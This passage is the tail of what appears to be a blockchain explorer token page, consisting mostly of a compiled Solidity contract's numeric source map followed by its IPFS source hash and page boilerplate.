;15544:36;;;15627:12;9660:10;;9580:98;15627:12;-1:-1:-1;;;;;15600:40:0;15618:7;-1:-1:-1;;;;;15600:40:0;15612:4;15600:40;;;;;;;;;;-1:-1:-1;15662:4:0;15655:11;;15500:223;-1:-1:-1;15706:5:0;15699:12;;15738:357;15843:4;15869:22;15877:4;15883:7;15869;:22::i;:::-;15865:223;;;15940:5;15908:12;;;:6;:12;;;;;;;;-1:-1:-1;;;;;15908:29:0;;;;;;;;;;:37;;-1:-1:-1;;15908:37:0;;;15965:40;9660:10;;15908:12;;15965:40;;15940:5;15965:40;-1:-1:-1;16027:4:0;16020:11;;10060:521;10138:11;10151:8;10177:9;10172:371;10202:4;10196:18;10192:1;:22;10172:371;;;10289:1;10283:2;10271:4;10277:1;10265:14;;;;;;;;:::i;:::-;;;;;10259:26;;;10265:14;;10259:26;:::i;:::-;10258:32;;;:85;;;;10342:1;10336:2;10324:4;10330:1;10318:14;;;;;;;;:::i;:::-;;;;;10312:26;;;10318:14;;10312:26;:::i;:::-;10311:32;;;10258:85;10236:175;;;-1:-1:-1;10386:1:0;;;;-1:-1:-1;10060:521:0;-1:-1:-1;;10060:521:0:o;10236:175::-;10529:1;10525;10510:4;10504:18;:22;;;;:::i;:::-;:26;;;;:::i;:::-;10497:34;;:2;:34;:::i;:::-;10474:2;10462:4;10468:1;10456:14;;;;;;;;:::i;:::-;;;;;10450:26;;;10456:14;;10450:26;:::i;:::-;10449:82;;;;;;:::i;:::-;10425:106;;;;:::i;:::-;;-1:-1:-1;10216:3:0;;10172:371;;;-1:-1:-1;10563:3:0;;10568:4;;-1:-1:-1;10060:521:0;-1:-1:-1;10060:521:0:o;13417:294::-;13548:9;13544:160;;;13608:12;:5;13614:6;13608:12;:::i;:::-;-1:-1:-1;;;;;13574:19:0;;;;;;:10;:19;;;;;;;;:31;;;;;:46;12289:168;;;:::o;13544:160::-;-1:-1:-1;;;;;;13653:19:0;;;;;;;;:10;:19;;;;;;;;:31;;;;;:39;13417:294::o;21358:532::-;-1:-1:-1;;;;;21514:19:0;;21510:91;;21557:32;;-1:-1:-1;;;21557:32:0;;21586:1;21557:32;;;10591:51:1;10564:18;;21557:32:0;10445:203:1;21510:91:0;-1:-1:-1;;;;;21615:21:0;;21611:92;;21660:31;;-1:-1:-1;;;21660:31:0;;21688:1;21660:31;;;10591:51:1;10564:18;;21660:31:0;10445:203:1;21611:92:0;21713:35;21733:5;21740:7;21713:19;:35::i;:::-;-1:-1:-1;;;;;21759:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;21805:78;;;;21856:7;-1:-1:-1;;;;;21840:31:0;21849:5;-1:-1:-1;;;;;21840:31:0;;21865:5;21840:31;;;;1549:25:1;;1537:2;1522:18;;1403:177;21840:31:0;;;;;;;;21358:532;;;;:::o;19894:794::-;20014:23;20021:4;20027:2;20031:5;20014:6;:23::i;:::-;-1:-1:-1;;;;;20052:18:0;;20048:369;;20103:5;20087:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;20048:369:0;;-1:-1:-1;20048:369:0;;-1:-1:-1;;;;;20163:15:0;;20141:19;20163:15;;;:9;:15;;;;;;20197:19;;;20193:117;;;20244:50;;-1:-1:-1;;;20244:50:0;;-1:-1:-1;;;;;10315:32:1;;20244:50:0;;;10297:51:1;10364:18;;;10357:34;;;10407:18;;;10400:34;;;10270:18;;20244:50:0;10095:345:1;20193:117:0;-1:-1:-1;;;;;20353:15:0;;;;;;:9;:15;;;;;20371:19;;;;20353:37;;20048:369;-1:-1:-1;;;;;20431:16:0;;20427:213;;20493:12;:21;;;;;;;20427:213;;;-1:-1:-1;;;;;20591:13:0;;;;;;:9;:13;;;;;:22;;;;;;20427:213;20670:2;-1:-1:-1;;;;;20655:25:0;20664:4;-1:-1:-1;;;;;20655:25:0;;20674:5;20655:25;;;;1549::1;;1537:2;1522:18;;1403:177;20655:25:0;;;;;;;;19894:794;;;:::o;11605:201::-;11694:22;11702:4;11708:7;11694;:22::i;:::-;11689:110;;11740:47;;-1:-1:-1;;;11740:47:0;;-1:-1:-1;;;;;7540:32:1;;11740:47:0;;;7522:51:1;7589:18;;;7582:34;;;7495:18;;11740:47:0;7348:274:1;11689:110:0;11605:201;;:::o;21898:255::-;-1:-1:-1;;;;;9989:19:0;;;22004:132;;22055:8;;-1:-1:-1;;;;;22055:8:0;;;22044:19;;;;22041:84;;22083:26;22103:5;22083:19;:26::i;19617:269::-;19740:9;;-1:-1:-1;;;;;19740:9:0;;;19732:17;;;;19728:151;;19766:22;19778:2;19782:5;19766:11;:22::i;19728:151::-;19817:9;;-1:-1:-1;;;;;19817:9:0;;;19811:15;;;;19807:72;;19843:24;19855:4;19861:5;19843:11;:24::i;22161:276::-;22247:7;22286:2;22270:13;;:18;22267:142;;;-1:-1:-1;;;;;22308:21:0;;:14;:21;;;;;;;;;;;;;22304:94;;22356:25;;-1:-1:-1;;;22356:25:0;;-1:-1:-1;;;;;10609:32:1;;22356:25:0;;;10591:51:1;10564:18;;22356:25:0;10445:203:1;22304:94:0;-1:-1:-1;22426:1:0;;22161:276;-1:-1:-1;22161:276:0:o;18472:368::-;18554:1;18545:6;:10;:28;;;;-1:-1:-1;;;;;;9989:19:0;;;:23;;18559:14;18541:292;;;-1:-1:-1;;;;;18594:16:0;;;;;;:39;;-1:-1:-1;;;;;;18615:18:0;;:14;:18;;;;;;;;;;;;;18614:19;18594:39;18590:111;;;18661:24;;-1:-1:-1;;;18661:24:0;;-1:-1:-1;;;;;10609:32:1;;18661:24:0;;;10591:51:1;10564:18;;18661:24:0;10445:203:1;18541:292:0;-1:-1:-1;;;;;18738:18:0;;:14;:18;;;;;;;;;;;;;18733:89;;18777:29;18793:2;18797:1;18800:5;18777:15;:29::i;18850:751::-;18924:25;10862:4;18944;18924:7;:25::i;:::-;18920:674;;-1:-1:-1;;;;;18969:20:0;;:14;:20;;;;;;;;;;;;;18965:619;;19013:13;;:17;19009:560;;-1:-1:-1;;;;;12700:19:0;;19055:10;12700:19;;;:10;:19;;;;;;;;:22;;;:31;;;;;19068:32;;19094:6;;19068:32;:::i;:::-;19055:45;;19152:1;19126:23;19144:4;-1:-1:-1;;;;;12559:19:0;12532:7;12559:19;;;:10;:19;;;;;;;;:31;;;;;;;12465:133;19126:23;:27;19123:427;;;19184:6;;19181:320;;-1:-1:-1;;;;;12559:19:0;;12532:7;12559:19;;;:10;:19;;;;;;;;:31;;;;;;19226:2;:29;;:43;;;;;19268:1;19259:6;:10;19226:43;19222:252;;;19306:32;19322:4;19328:2;19332:5;19306:15;:32::i;19222:252::-;19418:24;;-1:-1:-1;;;19418:24:0;;-1:-1:-1;;;;;10609:32:1;;19418:24:0;;;10591:51:1;10564:18;;19418:24:0;10445:203:1;13719:294:0;13850:9;13846:160;;;13910:12;:5;13916:6;13910:12;:::i;:::-;-1:-1:-1;;;;;13876:19:0;;;;;;:10;:19;;;;;;;;:22;;;:31;;;;:46;12289:168;;;:::o;13846:160::-;-1:-1:-1;;;;;;13955:19:0;;;;;;;;:10;:19;;;;;;;;:22;;;:31;;;;:39;13719:294::o;14:286:1:-;72:6;125:2;113:9;104:7;100:23;96:32;93:52;;;141:1;138;131:12;93:52;167:23;;-1:-1:-1;;;;;;219:32:1;;209:43;;199:71;;266:1;263;256:12;199:71;289:5;14:286;-1:-1:-1;;;14:286:1:o;497:418::-;646:2;635:9;628:21;609:4;678:6;672:13;721:6;716:2;705:9;701:18;694:34;780:6;775:2;767:6;763:15;758:2;747:9;743:18;737:50;836:1;831:2;822:6;811:9;807:22;803:31;796:42;906:2;899;895:7;890:2;882:6;878:15;874:29;863:9;859:45;855:54;847:62;;;497:418;;;;:::o;920:173::-;988:20;;-1:-1:-1;;;;;1037:31:1;;1027:42;;1017:70;;1083:1;1080;1073:12;1017:70;920:173;;;:::o;1098:300::-;1166:6;1174;1227:2;1215:9;1206:7;1202:23;1198:32;1195:52;;;1243:1;1240;1233:12;1195:52;1266:29;1285:9;1266:29;:::i;:::-;1256:39;1364:2;1349:18;;;;1336:32;;-1:-1:-1;;;1098:300:1:o;1585:374::-;1662:6;1670;1678;1731:2;1719:9;1710:7;1706:23;1702:32;1699:52;;;1747:1;1744;1737:12;1699:52;1770:29;1789:9;1770:29;:::i;:::-;1760:39;;1818:38;1852:2;1841:9;1837:18;1818:38;:::i;:::-;1585:374;;1808:48;;-1:-1:-1;;;1925:2:1;1910:18;;;;1897:32;;1585:374::o;1964:226::-;2023:6;2076:2;2064:9;2055:7;2051:23;2047:32;2044:52;;;2092:1;2089;2082:12;2044:52;-1:-1:-1;2137:23:1;;1964:226;-1:-1:-1;1964:226:1:o;2377:346::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;-1:-1:-1;;2567:23:1;;;2687:2;2672:18;;;2659:32;;-1:-1:-1;2377:346:1:o;2728:300::-;2796:6;2804;2857:2;2845:9;2836:7;2832:23;2828:32;2825:52;;;2873:1;2870;2863:12;2825:52;2918:23;;;-1:-1:-1;2984:38:1;3018:2;3003:18;;2984:38;:::i;:::-;2974:48;;2728:300;;;;;:::o;3222:186::-;3281:6;3334:2;3322:9;3313:7;3309:23;3305:32;3302:52;;;3350:1;3347;3340:12;3302:52;3373:29;3392:9;3373:29;:::i;3413:420::-;3490:6;3498;3506;3559:2;3547:9;3538:7;3534:23;3530:32;3527:52;;;3575:1;3572;3565:12;3527:52;3620:23;;;-1:-1:-1;3686:38:1;3720:2;3705:18;;3686:38;:::i;3838:260::-;3906:6;3914;3967:2;3955:9;3946:7;3942:23;3938:32;3935:52;;;3983:1;3980;3973:12;3935:52;4006:29;4025:9;4006:29;:::i;:::-;3996:39;;4054:38;4088:2;4077:9;4073:18;4054:38;:::i;4103:127::-;4164:10;4159:3;4155:20;4152:1;4145:31;4195:4;4192:1;4185:15;4219:4;4216:1;4209:15;4235:275;4306:2;4300:9;4371:2;4352:13;;-1:-1:-1;;4348:27:1;4336:40;;4406:18;4391:34;;4427:22;;;4388:62;4385:88;;;4453:18;;:::i;:::-;4489:2;4482:22;4235:275;;-1:-1:-1;4235:275:1:o;4515:1130::-;4617:6;4625;4633;4686:2;4674:9;4665:7;4661:23;4657:32;4654:52;;;4702:1;4699;4692:12;4654:52;4725:29;4744:9;4725:29;:::i;:::-;4715:39;;4805:2;4794:9;4790:18;4777:32;4832:18;4824:6;4821:30;4818:50;;;4864:1;4861;4854:12;4818:50;4887:22;;4940:4;4932:13;;4928:27;-1:-1:-1;4918:55:1;;4969:1;4966;4959:12;4918:55;5009:2;4996:16;5035:18;5027:6;5024:30;5021:56;;;5057:18;;:::i;:::-;5103:6;5100:1;5096:14;5130:28;5154:2;5150;5146:11;5130:28;:::i;:::-;5192:19;;;5236:2;5266:11;;;5262:20;;;5227:12;;;;5294:19;;;5291:39;;;5326:1;5323;5316:12;5291:39;5358:2;5354;5350:11;5339:22;;5370:148;5386:6;5381:3;5378:15;5370:148;;;5452:23;5471:3;5452:23;:::i;:::-;5440:36;;5505:2;5403:12;;;;5496;;;;5370:148;;;4515:1130;;5537:5;;-1:-1:-1;;;;5611:2:1;5596:18;;;;5583:32;;-1:-1:-1;;;4515:1130:1:o;5650:954::-;5737:6;5745;5753;5806:2;5794:9;5785:7;5781:23;5777:32;5774:52;;;5822:1;5819;5812:12;5774:52;5867:23;;;-1:-1:-1;5933:38:1;5967:2;5952:18;;5933:38;:::i;:::-;5923:48;;6022:2;6011:9;6007:18;5994:32;6049:18;6041:6;6038:30;6035:50;;;6081:1;6078;6071:12;6035:50;6104:22;;6157:4;6149:13;;6145:27;-1:-1:-1;6135:55:1;;6186:1;6183;6176:12;6135:55;6226:2;6213:16;6252:18;6244:6;6241:30;6238:56;;;6274:18;;:::i;:::-;6316:57;6363:2;6340:17;;-1:-1:-1;;6336:31:1;6369:2;6332:40;6316:57;:::i;:::-;6396:6;6389:5;6382:21;6444:7;6439:2;6430:6;6426:2;6422:15;6418:24;6415:37;6412:57;;;6465:1;6462;6455:12;6412:57;6520:6;6515:2;6511;6507:11;6502:2;6495:5;6491:14;6478:49;6572:1;6567:2;6558:6;6551:5;6547:18;6543:27;6536:38;6593:5;6583:15;;;;;5650:954;;;;;:::o;6609:380::-;6688:1;6684:12;;;;6731;;;6752:61;;6806:4;6798:6;6794:17;6784:27;;6752:61;6859:2;6851:6;6848:14;6828:18;6825:38;6822:161;;6905:10;6900:3;6896:20;6893:1;6886:31;6940:4;6937:1;6930:15;6968:4;6965:1;6958:15;6822:161;;6609:380;;;:::o;6994:127::-;7055:10;7050:3;7046:20;7043:1;7036:31;7086:4;7083:1;7076:15;7110:4;7107:1;7100:15;7126:217;7166:1;7192;7182:132;;7236:10;7231:3;7227:20;7224:1;7217:31;7271:4;7268:1;7261:15;7299:4;7296:1;7289:15;7182:132;-1:-1:-1;7328:9:1;;7126:217::o;7627:277::-;7694:6;7747:2;7735:9;7726:7;7722:23;7718:32;7715:52;;;7763:1;7760;7753:12;7715:52;7795:9;7789:16;7848:5;7841:13;7834:21;7827:5;7824:32;7814:60;;7870:1;7867;7860:12;7909:273;7977:6;8030:2;8018:9;8009:7;8005:23;8001:32;7998:52;;;8046:1;8043;8036:12;7998:52;8078:9;8072:16;8128:4;8121:5;8117:16;8110:5;8107:27;8097:55;;8148:1;8145;8138:12;8187:375;8275:1;8293:5;8307:249;8328:1;8318:8;8315:15;8307:249;;;8378:4;8373:3;8369:14;8363:4;8360:24;8357:50;;;8387:18;;:::i;:::-;8437:1;8427:8;8423:16;8420:49;;;8451:16;;;;8420:49;8534:1;8530:16;;;;;8490:15;;8307:249;;;8187:375;;;;;;:::o;8567:902::-;8616:5;8646:8;8636:80;;-1:-1:-1;8687:1:1;8701:5;;8636:80;8735:4;8725:76;;-1:-1:-1;8772:1:1;8786:5;;8725:76;8817:4;8835:1;8830:59;;;;8903:1;8898:174;;;;8810:262;;8830:59;8860:1;8851:10;;8874:5;;;8898:174;8935:3;8925:8;8922:17;8919:43;;;8942:18;;:::i;:::-;-1:-1:-1;;8998:1:1;8984:16;;9057:5;;8810:262;;9156:2;9146:8;9143:16;9137:3;9131:4;9128:13;9124:36;9118:2;9108:8;9105:16;9100:2;9094:4;9091:12;9087:35;9084:77;9081:203;;;-1:-1:-1;9193:19:1;;;9269:5;;9081:203;9316:42;-1:-1:-1;;9341:8:1;9335:4;9316:42;:::i;:::-;9394:6;9390:1;9386:6;9382:19;9373:7;9370:32;9367:58;;;9405:18;;:::i;:::-;9443:20;;8567:902;-1:-1:-1;;;8567:902:1:o;9474:131::-;9534:5;9563:36;9590:8;9584:4;9563:36;:::i;9610:168::-;9683:9;;;9714;;9731:15;;;9725:22;;9711:37;9701:71;;9752:18;;:::i;9783:127::-;9844:10;9839:3;9835:20;9832:1;9825:31;9875:4;9872:1;9865:15;9899:4;9896:1;9889:15;9915:175;9952:3;9996:4;9989:5;9985:16;10025:4;10016:7;10013:17;10010:43;;10033:18;;:::i;:::-;10082:1;10069:15;;9915:175;-1:-1:-1;;9915:175:1:o;10653:151::-;10743:4;10736:12;;;10722;;;10718:31;;10761:14;;10758:40;;;10778:18;;:::i;10809:128::-;10876:9;;;10897:11;;;10894:37;;;10911:18;;:::i;10942:125::-;11007:9;;;11028:10;;;11025:36;;;11041:18;;:::i
Swarm Source
ipfs://0c7dd36e3a020d5c5ec38524f7a84fa1159fc8de892070881c1b3c73fa899998
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)